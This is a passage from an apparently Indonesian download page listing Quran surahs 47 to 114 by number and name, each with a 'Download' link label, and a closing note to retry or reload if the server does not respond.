47 Muhammad Download
48 Al-Fath
Download
49 Al-Hujurat Download
50 Qaf
Download
51 Az-Zariyat Download
52 At-Tur
Download
53 An-Najm Download
54 Al-Qamar
Download
55 Ar-Rahman Download
56 Al-Waqi'ah
Download
57 Al-Hadid Download
58 Al-Mujadilah
Download
59 Al-Hashr Download
60 Al-Mumtahinah
Download
61 As-Saff Download
62 Al-Jumu'ah
Download
63 Al-Munafiqun Download
64 At-Taghabun
Download
65 At-Talaq Download
66 At-Tahrim
Download
67 Al-Mulk Download
68 Al-Qalam
Download
69 Al-Haqqah Download
70 Al-Ma'arij
Download
71 Nooh Download
72 Al-Jinn
Download
73 Al-Muzzammil Download
74 Al-Muddaththir
Download
75 Al-Qiyamah Download
76 Al-Insan
Download
77 Al-Mursalat Download
78 An-Naba'
Download
79 An-Nazi'at Download
80 'Abasa
Download
81 At-Takwir Download
82 Al-Infitar
Download
83 Al-Mutaffifin Download
84 Al-Inshiqaq
Download
85 Al-Buruj Download
86 At-Tariq
Download
87 Al-A'la Download
88 Al-Ghashiyah
Download
89 Al-Fajr Download
90 Al-Balad
Download
91 Ash-Shams Download
92 Al-Lail
Download
93 Ad-Duha Download
94 Ash-Sharh
Download
95 At-Tin Download
96 Al-'Alaq
Download
97 Al-Qadr Download
98 Al-Baiyinah
Download
99 Az-Zalzalah Download
100 Al-'Adiyat
Download
101 Al-Qari'ah Download
102 At-Takathur
Download
103 Al-'Asr Download
104 Al-Humazah
Download
105 Al-Fil Download
106 Quraish
Download
107 Al-Ma'un Download
108 Al-Kauthar
Download
109 Al-Kafirun Download
110 An-Nasr
Download
111 Al-Masad Download
112 Al-Ikhlas
Download
113 Al-Falaq Download
114 An-Nas
Download

Note : Klik ulang link Download jika server tidak merespon atau reload page.
===============
Sumber Link : Disini